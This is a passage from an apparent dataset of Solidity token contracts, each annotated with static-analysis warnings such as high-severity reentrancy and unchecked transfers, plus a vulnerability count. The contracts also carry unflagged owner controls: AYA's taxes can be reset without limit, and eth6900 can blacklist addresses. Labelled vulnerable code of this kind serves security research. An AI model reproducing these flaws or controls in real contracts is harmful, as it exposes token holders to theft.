unicode\"AYA\";\n\n uint256 public _maxTxAmount = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7548fcf): AYA._taxSwapThreshold should be constant \n\t// Recommendation for 7548fcf: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: fb1cbe3): AYA._maxTaxSwap should be constant \n\t// Recommendation for fb1cbe3: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe570b0): AYA.caBlockLimit should be constant \n\t// Recommendation for fe570b0: Add the 'constant' attribute to state variables that never change.\n uint256 public caBlockLimit = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6bfa854): AYA.caLimit should be constant \n\t// Recommendation for 6bfa854: Add the 'constant' attribute to state variables that never change.\n bool public caLimit = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x7F767904fbdBfe8f4e7f9192A73FfA9cb194A66a);\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9f7e5c9): AYA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9f7e5c9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3dc1048): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3dc1048: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 38c409c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 38c409c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3dc1048\n\t\t// reentrancy-benign | ID: 38c409c\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 3dc1048\n\t\t// reentrancy-benign | ID: 38c409c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dc30930): AYA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for dc30930: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 38c409c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 3dc1048\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9fd62b2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9fd62b2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 71a0d1e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 71a0d1e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a1702ad): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a1702ad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 1 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caLimit &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caBlockLimit, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: 9fd62b2\n\t\t\t\t// reentrancy-eth | ID: 71a0d1e\n\t\t\t\t// reentrancy-eth | ID: a1702ad\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 9fd62b2\n\t\t\t\t\t// reentrancy-eth | ID: 71a0d1e\n\t\t\t\t\t// reentrancy-eth | ID: a1702ad\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: a1702ad\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: a1702ad\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 9fd62b2\n\t\t\t\t// reentrancy-eth | ID: 71a0d1e\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 9fd62b2\n\t\t\t\t\t// reentrancy-eth | ID: 71a0d1e\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 71a0d1e\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 9fd62b2\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 71a0d1e\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 71a0d1e\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 9fd62b2\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3dc1048\n\t\t// reentrancy-events | ID: 9fd62b2\n\t\t// reentrancy-benign | ID: 38c409c\n\t\t// reentrancy-eth | ID: 71a0d1e\n\t\t// reentrancy-eth | ID: a1702ad\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 2ee91bf): Missing events for critical arithmetic parameters.\n\t// Recommendation for 2ee91bf: Emit an event for critical parameter changes.\n function updateSwapSettings(\n uint256 newinitialBuyTax,\n uint256 newinitialSellTax,\n uint256 newReduBTax,\n uint256 newReduSTax,\n uint256 newPrevSwapBef\n ) external onlyOwner {\n\t\t// events-maths | ID: 2ee91bf\n _initialBuyTax = newinitialBuyTax;\n\n\t\t// events-maths | ID: 2ee91bf\n _initialSellTax = newinitialSellTax;\n\n\t\t// events-maths | ID: 2ee91bf\n _reduceBuyTaxAt = newReduBTax;\n\n\t\t// events-maths | ID: 2ee91bf\n _reduceSellTaxAt = newReduSTax;\n\n\t\t// events-maths | ID: 2ee91bf\n _preventSwapBefore = newPrevSwapBef;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: e5c657a): AYA.rescueStuckERC20Tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for e5c657a: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueStuckERC20Tokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: e5c657a\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function exileW_Restriction() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3dc1048\n\t\t// reentrancy-events | ID: 9fd62b2\n\t\t// reentrancy-eth | ID: 71a0d1e\n\t\t// reentrancy-eth | ID: a1702ad\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: fce6b39): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for fce6b39: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 780621e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 780621e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: df1b848): AYA.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for df1b848: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 69b718e): AYA.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 69b718e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1bd177e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1bd177e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: fce6b39\n\t\t// reentrancy-benign | ID: 780621e\n\t\t// reentrancy-eth | ID: 1bd177e\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 780621e\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 780621e\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: fce6b39\n\t\t// unused-return | ID: 69b718e\n\t\t// reentrancy-eth | ID: 1bd177e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: fce6b39\n\t\t// unused-return | ID: df1b848\n\t\t// reentrancy-eth | ID: 1bd177e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: fce6b39\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1bd177e\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: fce6b39\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10636.sol",
"size_bytes": 22077,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract eth6900 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 12e43c5): eth6900._taxWallet should be immutable \n\t// Recommendation for 12e43c5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 052fe2c): eth6900._initialBuyTax should be constant \n\t// Recommendation for 052fe2c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0674f4d): eth6900._initialSellTax should be constant \n\t// Recommendation for 0674f4d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: de6cb8c): eth6900._reduceBuyTaxAt should be constant \n\t// Recommendation for de6cb8c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8b50620): eth6900._reduceSellTaxAt should be constant \n\t// Recommendation for 8b50620: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: de21820): eth6900._preventSwapBefore should be constant \n\t// Recommendation for de21820: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"HarryPotterObamaSonicInu6900 \"; //\n\n string private constant _symbol = unicode\"$ETH6900\"; //\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 46644a5): eth6900._taxSwapThreshold should be constant \n\t// Recommendation for 46644a5: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2b6c5fe): eth6900._maxTaxSwap should be constant \n\t// Recommendation for 2b6c5fe: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x4dE6967B1c8e93077a20CaC7837B4433328E2C20);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fd57879): eth6900.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for fd57879: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1229dcb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1229dcb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f4889a7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f4889a7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1229dcb\n\t\t// reentrancy-benign | ID: f4889a7\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 1229dcb\n\t\t// reentrancy-benign | ID: f4889a7\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 14a146d): eth6900._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 14a146d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: f4889a7\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 1229dcb\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 32c4aae): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 32c4aae: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 88b1e35): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 88b1e35: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 32c4aae\n\t\t\t\t// reentrancy-eth | ID: 88b1e35\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 32c4aae\n\t\t\t\t\t// reentrancy-eth | ID: 88b1e35\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 88b1e35\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 88b1e35\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 88b1e35\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 32c4aae\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 88b1e35\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 88b1e35\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 32c4aae\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 32c4aae\n\t\t// reentrancy-events | ID: 1229dcb\n\t\t// reentrancy-benign | ID: f4889a7\n\t\t// reentrancy-eth | ID: 88b1e35\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 32c4aae\n\t\t// reentrancy-events | ID: 1229dcb\n\t\t// reentrancy-eth | ID: 88b1e35\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 315c71e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 315c71e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 71519bf): eth6900.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 71519bf: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ff3ec84): eth6900.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ff3ec84: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e8e5432): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e8e5432: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = 